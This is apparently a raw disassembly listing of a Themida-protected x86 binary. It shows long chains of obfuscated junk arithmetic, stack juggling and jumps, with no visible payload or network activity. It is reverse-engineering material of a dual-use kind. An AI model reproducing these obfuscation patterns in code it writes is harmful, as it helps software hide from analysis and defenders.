		jmp	loc_564E15
; ---------------------------------------------------------------------------


loc_56C8D1:				; CODE XREF: sub_562ABA+98C6j
		sub	ebx, 6B4E2413h
		pop	esi
		sub	esp, 4
		mov	[esp+44h+var_46+2], edi
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edx
		push	6A82502Bh
		pop	edx
		and	edx, 32D85E92h
		inc	edx
		and	edx, 0D3D01D8h
		jmp	loc_5727B5
; ---------------------------------------------------------------------------


loc_56C8FF:				; CODE XREF: sub_562ABA+6370j
		mov	edx, 6BEE1DDDh
		mov	eax, edx
		pop	edx
		mov	edx, eax
		push	[esp-0Ah+arg_4+2]
		pop	eax
		add	esp, 4
		jmp	loc_569B8E
; ---------------------------------------------------------------------------


loc_56C915:				; CODE XREF: sub_562ABA+8BB8j
		pop	esi
		mov	ebx, eax
		push	[esp+2+var_4+2]
		jmp	loc_5681C0
; ---------------------------------------------------------------------------


loc_56C920:				; CODE XREF: sub_562ABA+9DFFj
		pop	esp
		pop	dword ptr [esp+0]
		jmp	loc_56695E
; ---------------------------------------------------------------------------


loc_56C929:				; CODE XREF: sub_562ABA-1F91j
		add	esi, 0FFFFFFFFh
		shr	esi, 8
		sub	esp, 4
		mov	[esp+12h+var_12], eax
		mov	eax, 2BDC2DFAh
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		jmp	loc_56382E
; ---------------------------------------------------------------------------


loc_56C948:				; CODE XREF: sub_562ABA-35AFj
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		push	0D51h
		jmp	loc_56C6C4
; ---------------------------------------------------------------------------


loc_56C95A:				; CODE XREF: sub_562ABA+2852j
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		shr	eax, 8
		add	eax, 0EF144E4h
		add	eax, 0F094CBE4h
		sub	edx, 3B8361ECh
		add	edx, eax
		jmp	loc_56501A
; ---------------------------------------------------------------------------


loc_56C97A:				; CODE XREF: sub_562ABA+C3C2j
		mov	[esp+1Ah+var_1A], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5635AC
; ---------------------------------------------------------------------------


loc_56C990:				; CODE XREF: sub_562ABA+53D0j
		add	edx, 4
		push	ebp
		jmp	loc_55E95F
; ---------------------------------------------------------------------------


loc_56C99C:				; CODE XREF: sub_562ABA+2C79j
		sub	edx, 7E4C6301h
		shr	edx, 4
		jmp	loc_568C66
; ---------------------------------------------------------------------------


loc_56C9AA:				; CODE XREF: sub_562ABA-1E1j
		xor	[esp+26h+var_28+2], ecx
		xor	ecx, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_55F171
; ---------------------------------------------------------------------------


loc_56C9B6:				; CODE XREF: sub_562ABA+E8E9j
		push	17A3h
		jmp	loc_562DF1
; ---------------------------------------------------------------------------


loc_56C9C0:				; CODE XREF: sub_562ABA+74BBj
		mov	edi, 462441B2h
		not	edi
		sub	edi, 2C135103h
		push	esi
		jmp	loc_55FEC7
; ---------------------------------------------------------------------------


loc_56C9D3:				; CODE XREF: sub_562ABA-472Aj
		push	edi
		mov	edi, 7CEC5F0Ah
		jmp	loc_56D4CB
; ---------------------------------------------------------------------------


loc_56C9DE:				; CODE XREF: sub_562ABA+7178j
		push	ecx
		push	esi
		push	44CF5123h
		jmp	loc_565573
; ---------------------------------------------------------------------------


loc_56C9EA:				; CODE XREF: sub_562ABA+3B91j
		mov	esp, [esp+6+var_8+2]
		jmp	loc_5667E8
; ---------------------------------------------------------------------------


loc_56C9F2:				; CODE XREF: sub_562ABA+77AEj
		not	ebp
		dec	ebp
		shr	ebp, 2
		sub	ebp, 57DD6B45h
		shr	ebp, 3
		sub	ebp, 0EDF0C5DCh
		sub	edi, ebp
		pop	ebp
		add	edi, ecx
		jmp	loc_56998C
; ---------------------------------------------------------------------------


loc_56CA11:				; CODE XREF: Themida_:00572637j
		mov	[esp+0], ecx
		push	edi
		jmp	loc_563E85
; ---------------------------------------------------------------------------


loc_56CA1A:				; CODE XREF: sub_562ABA+E3AFj
		pop	esi
		jmp	loc_560A92
; ---------------------------------------------------------------------------


loc_56CA20:				; CODE XREF: sub_562ABA+93Fj
		or	eax, 335E1Dh
		xor	eax, 43844881h
		shl	eax, 2
		jmp	loc_565656
; ---------------------------------------------------------------------------


loc_56CA32:				; CODE XREF: sub_55FCA5+C6j
		sub	eax, 423F4911h
		jmp	loc_56CA96
; ---------------------------------------------------------------------------


loc_56CA3C:				; CODE XREF: sub_562ABA-32B9j
		mov	[esp+1Eh+var_1E], edx
		jmp	loc_570CC3
; ---------------------------------------------------------------------------


loc_56CA44:				; CODE XREF: sub_562ABA+D514j
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+1Ah+var_1A]
		jmp	loc_564677
; ---------------------------------------------------------------------------


loc_56CA4F:				; CODE XREF: sub_562ABA+517Aj
		add	esp, 4
		add	edx, 668B1D5Ch
		add	ebx, 29C645D3h
		add	ebx, edx
		jmp	loc_562BCE
; ---------------------------------------------------------------------------


loc_56CA68:				; CODE XREF: sub_562ABA+12Ej
		push	eax
		jmp	loc_566E40
; ---------------------------------------------------------------------------


loc_56CA6E:				; CODE XREF: sub_562ABA+4972j
		mov	edi, 6A69B01Ch
		xor	ebp, edi
		pop	edi
		sub	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		sub	edi, 7B7A20D0h
		jmp	loc_563D5B
; ---------------------------------------------------------------------------


loc_56CA87:				; CODE XREF: sub_562ABA+2AD6j
		mov	edi, esp
		push	422Bh
		mov	[esp+42h+var_42], ebp
		jmp	loc_570BCF
; ---------------------------------------------------------------------------


loc_56CA96:				; CODE XREF: sub_562ABA+9F7Dj
		add	eax, edx
		add	eax, 423F4911h
		pop	edx
		xor	eax, [esp+12h+var_12]
		xor	[esp+12h+var_12], eax
		xor	eax, [esp+12h+var_12]
		pop	esp
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		push	[esp+12h+var_12]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_56D1E7
; ---------------------------------------------------------------------------


loc_56CABD:				; CODE XREF: sub_562ABA+B2FBj
		xor	edi, [esp+16h+var_16]
		xor	[esp+16h+var_16], edi
		xor	edi, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		jmp	loc_56D3A7
; ---------------------------------------------------------------------------


loc_56CACE:				; CODE XREF: sub_562ABA+1E50j
		pop	ebp
		jmp	loc_5608AA
; ---------------------------------------------------------------------------


loc_56CAD4:				; CODE XREF: sub_562ABA+B7DFj
		neg	dl
		xor	dl, 83h
		mov	ch, dl
		pop	edx
		xor	dl, ch
		jmp	loc_56A21B
; ---------------------------------------------------------------------------


loc_56CAE3:				; CODE XREF: sub_562ABA+285Ej
		pop	eax
		sub	ebx, 264821D0h
		add	ebx, esi
		jmp	loc_567F09
; ---------------------------------------------------------------------------


loc_56CAF1:				; CODE XREF: sub_562ABA+D78Ej
		push	edi
		push	edx
		mov	edx, 629B7BEAh
		mov	edi, edx
		jmp	loc_56D624
; ---------------------------------------------------------------------------


loc_56CAFF:				; CODE XREF: sub_562ABA-3495j
		xor	cl, 0B0h
		jmp	loc_55E25E
; ---------------------------------------------------------------------------


loc_56CB07:				; CODE XREF: sub_562ABA+6E9Cj
		mov	[esp+0], ecx
		mov	ecx, 238520D3h
		inc	ecx
		jmp	loc_55FCE5
; ---------------------------------------------------------------------------


loc_56CB15:				; CODE XREF: sub_562ABA+8095j
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56CB24:				; CODE XREF: sub_562ABA+1CE8j
		add	edi, 5BACAD68h
		add	edx, 5F4E67E9h
		jmp	loc_56321C
; ---------------------------------------------------------------------------


loc_56CB35:				; CODE XREF: sub_562ABA+C8EDj
		add	esp, 4
		push	esi
		mov	esi, edi
		mov	ebx, esi
		pop	esi
		push	[esp+6+var_8+2]
		pop	edi
		add	esp, 4
		push	4637h
		mov	[esp+6+var_8+2], ebx
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		push	[esp+2+var_4+2]
		pop	ebx
		jmp	loc_560CC1
; ---------------------------------------------------------------------------


loc_56CB5C:				; CODE XREF: sub_562ABA+117Bj
		mov	esp, [esp+2Ah+var_2C+2]
		push	eax
		mov	ah, 0B0h
		jmp	loc_5679D3
; ---------------------------------------------------------------------------


loc_56CB67:				; CODE XREF: sub_562ABA+E2BEj
		add	ch, 1
		neg	ch
		push	ebx
		push	eax
		mov	al, 58h
		mov	bh, 7Fh
		add	bh, al
		pop	eax
		shr	bh, 2
		neg	bh
		jmp	loc_569DB8
; ---------------------------------------------------------------------------


loc_56CB7F:				; CODE XREF: sub_562ABA+8185j
		not	esi
		jmp	loc_5660D5
; ---------------------------------------------------------------------------


loc_56CB86:				; CODE XREF: Themida_:00560D58j
		mov	[esp+2Ah+var_2C+2], edx
		push	esp
		jmp	loc_56E2E8
; ---------------------------------------------------------------------------


loc_56CB8F:				; CODE XREF: sub_562ABA+82A2j
		sub	ebx, 574D0827h
		xor	ebx, 432E380Bh
		xor	ebx, 0DC8CEF5Bh
		jmp	loc_570CE0
; ---------------------------------------------------------------------------


loc_56CBA6:				; CODE XREF: sub_562ABA+7C9Bj
		pop	esp
		mov	[edi+eax*4+1], bl
		push	[esp-6+arg_0+2]
		push	dword ptr [esp+0]
		jmp	loc_57257D
; ---------------------------------------------------------------------------


loc_56CBB6:				; CODE XREF: sub_562ABA+3C89j
		not	edi
		xor	edi, 1CCC3B60h
		push	ecx
		mov	ecx, 77C9509Ah
		sub	ecx, 1FF91A81h
		jmp	loc_55E0FC
; ---------------------------------------------------------------------------


loc_56CBCF:				; CODE XREF: sub_562ABA+2ACDj
		not	ecx
		jmp	loc_570E5F
; ---------------------------------------------------------------------------


loc_56CBD6:				; CODE XREF: sub_562ABA+721Aj
		pop	ebx
		add	esp, 4
		push	edi
		sub	esp, 4
		push	0A11h
		mov	[esp+32h+var_32], esp
		add	[esp+32h+var_32], 4
		pop	[esp+32h+var_32]
		add	dword ptr [esp+0], 4
		pop	edi
		jmp	loc_56A208
; ---------------------------------------------------------------------------


loc_56CBFA:				; CODE XREF: sub_562ABA+203Ej
		sub	esi, 6370493Bh
		sub	esi, edi
		push	edx
		mov	edx, 6370493Bh
		jmp	loc_562BED
; ---------------------------------------------------------------------------


loc_56CC0D:				; CODE XREF: sub_562ABA-201Fj
		push	ebx
		mov	ebx, 2
		add	ecx, ebx
		push	[esp+1Ah+var_1A]
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		add	esp, 4
		jmp	loc_566184
; ---------------------------------------------------------------------------


loc_56CC2C:				; CODE XREF: sub_562ABA-798j
		add	eax, ebx
		pop	ebx
		jmp	sub_55FA0F
; ---------------------------------------------------------------------------


loc_56CC34:				; CODE XREF: sub_562ABA+18B2j
		mov	ebp, 6F4A2271h
		not	ebp
		xor	ebp, 20127876h
		jmp	loc_56CF22
; ---------------------------------------------------------------------------


loc_56CC46:				; CODE XREF: sub_562ABA+1924j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56CC4B:				; CODE XREF: sub_562ABA+9B32j
		add	esi, edx
		jmp	loc_567DD2
; ---------------------------------------------------------------------------


loc_56CC52:				; CODE XREF: sub_562ABA-1D2Bj
		push	edx
		mov	edx, 1E171947h
		or	ebp, edx
		pop	edx
		jmp	loc_56AE40
; ---------------------------------------------------------------------------


loc_56CC60:				; CODE XREF: sub_562ABA+7B3Aj
		xor	edx, ebx
		inc	ebx
		jmp	loc_56A443
; ---------------------------------------------------------------------------


loc_56CC68:				; CODE XREF: sub_562ABA+E678j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 2
		push	eax
		push	[esp+2Eh+var_2C+2]
		jmp	loc_564F45
; ---------------------------------------------------------------------------


loc_56CC7C:				; CODE XREF: sub_562ABA+5CD5j
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_564653
; ---------------------------------------------------------------------------


loc_56CC87:				; CODE XREF: sub_562ABA-48A7j
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		inc	ecx
		or	ecx, 7CC522FBh
		add	ecx, 70302D52h
		jmp	loc_56E998
; ---------------------------------------------------------------------------


loc_56CC9F:				; CODE XREF: sub_562ABA+E03Bj
		push	ebp
		push	ebx
		jmp	loc_55F44D
; ---------------------------------------------------------------------------


loc_56CCA6:				; CODE XREF: sub_562ABA+374Aj
		mov	edx, 70B64B9h
		sub	edx, ebp
		pop	ebp
		sub	ebp, 10813E0Ah
		add	ebp, edx
		add	ebp, 10813E0Ah
		pop	edx
		push	433h
		jmp	loc_56AA67
; ---------------------------------------------------------------------------


loc_56CCC7:				; CODE XREF: sub_562ABA+8216j
		mov	esp, [esp+2+var_4+2]
		mov	[esp+2+var_4+2], esi
		jmp	loc_563FE0
; ---------------------------------------------------------------------------


loc_56CCD2:				; CODE XREF: sub_562ABA+9512j
		pop	eax
		mov	edx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		jmp	loc_55F042
; ---------------------------------------------------------------------------


loc_56CCF5:				; CODE XREF: sub_562ABA+85D3j
		xor	eax, [esp+1Ah+var_1A]
		pop	esp
		mov	[esp+16h+var_16], ebp
		jmp	loc_562B00
; ---------------------------------------------------------------------------


loc_56CD01:				; CODE XREF: sub_562ABA+9476j
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_56FFF4
; ---------------------------------------------------------------------------


loc_56CD10:				; CODE XREF: sub_562ABA+FED9j
		xor	ch, 0EBh
		sub	ah, ch
		pop	ecx
		shr	ah, 1
		jmp	loc_56206A
; ---------------------------------------------------------------------------


loc_56CD1D:				; CODE XREF: sub_562ABA-491Ej
		push	6BBEh
		mov	[esp+0Ah+var_C+2], edx
		push	eax
		mov	eax, 24562542h
		jmp	loc_55F8A7
; ---------------------------------------------------------------------------


loc_56CD30:				; CODE XREF: sub_562ABA+6335j
		pop	edx
		add	edx, 8B09B4h
		mov	esi, [esp+16h+var_16]
		add	esp, 4


loc_56CD3D:				; CODE XREF: sub_562ABA+795Bj
					; sub_562ABA+CFC1j
		push	dword ptr [edi+24h]
		push	[esp+16h+var_16]
		push	[esp+1Ah+var_1A]
		pop	ecx
		push	edi
		jmp	loc_56C3E6
; ---------------------------------------------------------------------------


loc_56CD4D:				; CODE XREF: sub_562ABA+F78Dj
		add	ebx, 0B3B97CF8h
		sub	edi, ebx
		pop	ebx
		jmp	loc_564984
; ---------------------------------------------------------------------------


loc_56CD5B:				; CODE XREF: sub_55FCA5+23Aj
		add	edi, esi
		jmp	loc_56178C
; ---------------------------------------------------------------------------


loc_56CD62:				; CODE XREF: sub_562ABA+FDD0j
		mov	[esp+1Ah+var_1A], esi
		push	ebp
		mov	ebp, 247D7483h
		neg	ebp
		inc	ebp
		sub	esp, 4
		jmp	loc_566160
; ---------------------------------------------------------------------------


loc_56CD76:				; CODE XREF: sub_562ABA+2E12j
		xor	edi, 0A318EFB3h
		add	ecx, edi
		pop	edi
		push	eax
		jmp	loc_570C53
; ---------------------------------------------------------------------------


loc_56CD85:				; CODE XREF: sub_562ABA+CD37j
		pop	ebx
		xor	ebx, 0E00CFh
		push	edi
		jmp	loc_56C4EC
; ---------------------------------------------------------------------------


loc_56CD92:				; CODE XREF: sub_562ABA+FCF6j
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	5606h
		mov	[esp+2Ah+var_2C+2], ebx
		push	esp
		mov	ebx, [esp+0]
		jmp	loc_56E735
; ---------------------------------------------------------------------------


loc_56CDB2:				; CODE XREF: sub_562ABA+66Dj
		pop	ebx
		add	ebx, 4
		jmp	loc_56D502
; ---------------------------------------------------------------------------


loc_56CDBE:				; CODE XREF: sub_562ABA-3448j
		mov	[esp+1Ah+var_1A], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56CDC6:				; CODE XREF: sub_562ABA+DA6Fj
		mov	edx, [esp+1Ah+var_1A]
		jmp	loc_56E8C8
; ---------------------------------------------------------------------------


loc_56CDCE:				; CODE XREF: sub_562ABA+38B7j
		add	edi, 4
		push	2325h
		mov	[esp+4Ah+var_4A], eax
		sub	esp, 4
		mov	[esp+4Eh+var_4E], esi
		push	45845710h
		pop	esi
		xor	esi, 7C56658Eh
		push	eax
		mov	eax, 0D1372A73h
		sub	esp, 4
		mov	[esp+56h+var_56], ebp
		jmp	loc_5652B3
; ---------------------------------------------------------------------------


loc_56CE02:				; CODE XREF: sub_562ABA+F175j
		mov	edi, 4D044A3Dh
		add	ecx, edi
		jmp	loc_566143
; ---------------------------------------------------------------------------


loc_56CE0E:				; CODE XREF: sub_562ABA+85E8j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp+36h+var_36]
		pop	esp
		jmp	loc_55EE62
; ---------------------------------------------------------------------------


loc_56CE25:				; CODE XREF: sub_562ABA+7EA1j
		push	edx
		mov	edx, 0FD539850h
		sub	ebx, 87E691Fh
		add	ebx, edx
		push	eax
		mov	eax, 749D6CBBh
		add	eax, 93E0FC64h
		add	ebx, eax
		pop	eax
		pop	edx
		xor	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 1BB61601h
		xor	esi, 0E8B0523h
		push	edx
		mov	edx, 15BA2095h
		xor	esi, edx
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_5697D3
; ---------------------------------------------------------------------------


loc_56CE62:				; CODE XREF: sub_562ABA+259Bj
		mov	dl, 23h
		jmp	loc_56C1D7
; ---------------------------------------------------------------------------


loc_56CE69:				; CODE XREF: sub_562ABA+4B8Bj
		mov	cl, 90h
		add	bl, cl
		pop	ecx
		jmp	loc_56C520
; ---------------------------------------------------------------------------


loc_56CE73:				; CODE XREF: sub_562ABA+F99Bj
		xor	eax, 1D8A43CEh
		xor	eax, 0B9B53BFh
		xor	eax, 0BD66E298h
		sub	ebp, eax
		pop	eax
		pop	ebx
		add	ecx, 67628C1h
		add	ecx, 7FAD743Dh
		sub	ecx, ebp
		push	eax
		push	ebp
		mov	ebp, 698146F8h
		mov	eax, 162C32C5h
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		jmp	loc_56D84F
; ---------------------------------------------------------------------------


loc_56CEAB:				; CODE XREF: sub_562ABA+EA5Ej
		push	esi
		mov	esi, 22AF29B4h
		add	eax, esi
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		xor	eax, 936A7B41h
		push	eax
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		pop	eax
		push	16B9h
		mov	[esp+42h+var_42], ebp
		jmp	loc_571066
; ---------------------------------------------------------------------------


loc_56CED9:				; CODE XREF: sub_562ABA+E96Fj
		sub	esp, 4
		mov	[esp+46h+var_46], eax
		push	ecx
		mov	cl, 3Eh
		mov	ah, 4Ch
		sub	ah, cl
		mov	ecx, [esp+4Ah+var_4A]
		add	esp, 4
		not	ah
		neg	ah
		not	ah
		push	ebx
		mov	bl, 5Ah
		xor	bl, 0B3h
		sub	ah, bl
		pop	ebx
		sub	bh, ah
		pop	eax
		sub	cl, bh
		pop	ebx
		sub	al, 2Fh
		add	al, cl
		add	al, 2Fh
		mov	ecx, [esp+3Eh+var_3E]
		add	esp, 4
		add	al, 8Eh
		add	al, bl
		push	edx
		mov	dh, 0A1h
		shr	dh, 8
		xor	dh, 7Ah
		jmp	loc_5616F7
; ---------------------------------------------------------------------------


loc_56CF22:				; CODE XREF: sub_562ABA+A187j
		push	ebx
		mov	ebx, 39C9740Ch
		shl	ebx, 6
		jmp	loc_55EAC2
; ---------------------------------------------------------------------------


loc_56CF30:				; CODE XREF: sub_562ABA+98DCj
		add	ebx, eax
		jmp	loc_55F294
; ---------------------------------------------------------------------------


loc_56CF37:				; CODE XREF: sub_562ABA+8FC5j
		pop	edx
		push	edi
		push	7B0h
		jmp	loc_56A651
; ---------------------------------------------------------------------------


loc_56CF43:				; CODE XREF: sub_562ABA+C866j
		sub	eax, ecx
		pop	ecx
		jmp	loc_56C850
; ---------------------------------------------------------------------------


loc_56CF4B:				; CODE XREF: sub_562ABA+AF7Cj
		sub	ecx, ebx
		pop	ebx
		sub	eax, 630A30F4h
		add	eax, ecx
		push	edx
		mov	edx, 630A30F4h
		add	eax, edx
		pop	edx
		pop	ecx
		push	eax
		jmp	loc_563CAA
; ---------------------------------------------------------------------------


loc_56CF65:				; CODE XREF: sub_562ABA+49E5j
		mov	edi, esp
		push	eax
		mov	eax, 699B4CEEh
		inc	eax
		shl	eax, 1
		not	eax
		xor	eax, 2CC96625h
		jmp	loc_56DF51
; ---------------------------------------------------------------------------


loc_56CF7C:				; CODE XREF: sub_562ABA-452Ej
		pop	esp
		jmp	loc_570980
; ---------------------------------------------------------------------------


loc_56CF82:				; CODE XREF: sub_562ABA+E7E1j
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], eax
		push	edx
		mov	dl, bl
		mov	al, dl
		jmp	loc_562DCA
; ---------------------------------------------------------------------------


loc_56CF9D:				; CODE XREF: sub_562ABA+1294j
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp+22h+var_22]
		pop	esp
		div	ecx
		jmp	loc_564548
; ---------------------------------------------------------------------------


loc_56CFB0:				; CODE XREF: sub_562ABA-1085j
		mov	ebx, 1Ch
		add	ebx, 5A461914h
		add	ebx, edi
		sub	ebx, 5A461914h
		mov	eax, [ebx]
		mov	ebx, [esp-0Eh+arg_8+2]
		push	7F81h
		mov	[esp-0Ah+arg_4+2], ebx
		mov	ebx, esp
		jmp	loc_563416
; ---------------------------------------------------------------------------


loc_56CFD7:				; CODE XREF: sub_562ABA+E6FEj
		add	ebp, eax
		jmp	loc_56D7B5
; ---------------------------------------------------------------------------


loc_56CFDE:				; CODE XREF: sub_562ABA+39FCj
		sub	esp, 4
		jmp	loc_57205F
; ---------------------------------------------------------------------------


loc_56CFE9:				; CODE XREF: sub_562ABA+826Dj
		sub	esi, 0A03D8928h
		jmp	loc_56AADD
; ---------------------------------------------------------------------------


loc_56CFF4:				; CODE XREF: sub_562ABA+9CAAj
		mov	al, 47h
		and	al, 8Eh
		sub	al, 52h
		push	edx
		mov	dh, 0B8h
		neg	dh
		add	dh, 1Bh
		or	al, dh
		pop	edx
		jmp	loc_56B550
; ---------------------------------------------------------------------------


loc_56D00A:				; CODE XREF: sub_562ABA+C3B6j
		sub	ebp, 4
		xchg	ebp, [esp+30h+var_32+2]
		pop	esp
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, 7D516B02h
		sub	esp, 4
		mov	[esp+30h+var_32+2], ecx
		jmp	loc_56FB8B
; ---------------------------------------------------------------------------


loc_56D024:				; CODE XREF: sub_562ABA+1007j
		pop	eax
		xor	ecx, 5B15B2C2h
		jmp	loc_565C36
; ---------------------------------------------------------------------------


loc_56D030:				; CODE XREF: sub_562ABA+20F9j
		push	3BBFh
		mov	[esp+12h+var_12], esp
		add	[esp+12h+var_12], 4
		pop	[esp+12h+var_12]
		push	esi
		mov	esi, 4
		jmp	loc_568C41
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 0FFEBABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D065:				; CODE XREF: sub_562ABA-397Cj
		add	ecx, 5A0D2E5Ch
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 653A76B7h
		inc	edi
		shl	edi, 2
		add	edi, 0A88E85B1h
		sub	ebx, edi
		mov	edi, [esp+3Eh+var_3E]
		add	esp, 4
		jmp	loc_568E44
; ---------------------------------------------------------------------------


loc_56D08E:				; CODE XREF: sub_562ABA+D9F0j
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, 0C345278h
		add	ebx, eax
		sub	ebx, 0C345278h
		jmp	loc_561249
; ---------------------------------------------------------------------------


loc_56D0A9:				; CODE XREF: sub_562ABA+3EE4j
		mov	ebx, [esp+2+var_4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+6+var_8+2]
		jmp	loc_560521
; ---------------------------------------------------------------------------


loc_56D0C3:				; CODE XREF: sub_562ABA+1B68j
		push	edx
		mov	edx, 19921D73h
		and	edi, edx
		pop	edx
		jmp	loc_563B24
; ---------------------------------------------------------------------------


loc_56D0D1:				; CODE XREF: sub_562ABA+AF70j
		push	edi
		jmp	loc_55FEE4
; ---------------------------------------------------------------------------


loc_56D0D7:				; CODE XREF: sub_562ABA-3282j
		pop	edx
		add	edx, 6AFC08E2h
		jmp	loc_56470C
; ---------------------------------------------------------------------------


loc_56D0E3:				; CODE XREF: sub_562ABA+6401j
		mov	[esp+0], ecx
		mov	ecx, esp
		jmp	loc_565700
; ---------------------------------------------------------------------------


loc_56D0ED:				; CODE XREF: sub_562ABA+3DA9j
		pop	ecx
		mov	edx, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		jmp	loc_570C5D
; ---------------------------------------------------------------------------
		mov	eax, [esp+4+var_4]
		push	21A5h
		mov	[esp+8+var_8], edx
		jmp	loc_56D4DF
; ---------------------------------------------------------------------------


loc_56D116:				; CODE XREF: sub_562ABA+8F38j
		mov	edx, esi
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+22h+var_22]
		pop	esp
		jmp	loc_572828
; ---------------------------------------------------------------------------


loc_56D12E:				; CODE XREF: sub_562ABA+3164j
		mov	edx, 4B5211A0h
		mov	ecx, 988746D1h
		add	ecx, 505041B8h
		sub	ecx, edx
		sub	ecx, 505041B8h
		mov	edx, [esp+0]
		add	esp, 4
		sub	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 3D915581h
		sub	eax, edi
		pop	edi
		sub	eax, 20E504EFh
		add	eax, edx
		add	eax, 20E504EFh
		add	eax, 3D915581h
		jmp	loc_570207
; ---------------------------------------------------------------------------


loc_56D171:				; CODE XREF: sub_562ABA+FAD2j
		sub	edi, 37AA780Ch
		push	ebx
		jmp	loc_56A3A4
; ---------------------------------------------------------------------------


loc_56D17D:				; CODE XREF: sub_55FCA5+38Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ecx
		mov	ecx, 52657975h
		sub	ecx, 1
		inc	ecx
		shl	ecx, 1
		shl	ecx, 5
		or	ecx, 4EF358FFh
		sub	ecx, 0DFFF5DFBh
		add	edx, ecx
		push	[esp+2Ah+var_2C+2]
		pop	ecx
		add	esp, 4
		push	7769h
		jmp	loc_56DF90
; ---------------------------------------------------------------------------


loc_56D1C3:				; CODE XREF: sub_562ABA+9643j
		add	esp, 4
		add	esp, 4
		push	57Ah
		mov	[esp+2Ah+var_2C+2], ebx
		push	edx
		mov	edx, 3DF849CEh
		mov	ebx, 0C207B656h
		add	ebx, 56F77639h
		jmp	loc_56B3F6
; ---------------------------------------------------------------------------


loc_56D1E7:				; CODE XREF: sub_562ABA+9FFEj
		add	eax, 4
		jmp	sub_5620A9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+16h+var_16]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], ebp
		xor	ebp, [esp+1Ah+var_1A]
		jmp	loc_5712CA
; ---------------------------------------------------------------------------


loc_56D20F:				; CODE XREF: sub_562ABA+1B84j
		xor	ebp, 11C9755Ch
		xor	esi, ebp
		pop	ebp
		and	ebp, esi
		jmp	loc_562D2C
; ---------------------------------------------------------------------------


loc_56D21F:				; CODE XREF: sub_562ABA+CBD6j
		push	ebx
		mov	ebx, 33BA773Fh
		xor	ecx, ebx
		pop	ebx
		xor	ebx, ecx
		mov	ecx, [esp+3Ah+var_3A]
		jmp	loc_572982
; ---------------------------------------------------------------------------


loc_56D232:				; CODE XREF: sub_562ABA+45B6j
		push	esi
		push	edi
		jmp	loc_562084
; ---------------------------------------------------------------------------


loc_56D239:				; CODE XREF: sub_5602C2+18j
		xor	ecx, 0B9D51900h
		mov	esi, ecx
		push	[esp+42h+var_42]
		pop	ecx
		add	esp, 4
		jmp	loc_56AC8D
; ---------------------------------------------------------------------------


loc_56D250:				; CODE XREF: sub_562ABA+7567j
		xor	cl, al
		pop	eax
		push	ecx
		mov	ch, 1Dh
		xor	ch, 5Eh
		jmp	loc_5643EB
; ---------------------------------------------------------------------------


loc_56D25E:				; DATA XREF: Themida_:0055DFB4o
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		push	ebp
		push	eax
		push	1E72h
		mov	[esp+2+var_4+2], esp
		add	[esp+2+var_4+2], 4
		mov	eax, [esp+2+var_4+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		add	eax, 4
		jmp	loc_55F579
; ---------------------------------------------------------------------------


loc_56D293:				; CODE XREF: sub_562ABA+282Aj
		sub	esi, 50F539E4h
		add	edx, 22353083h
		add	edx, esi
		sub	edx, 22353083h
		pop	esi
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		add	ebp, ecx
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		push	ebp
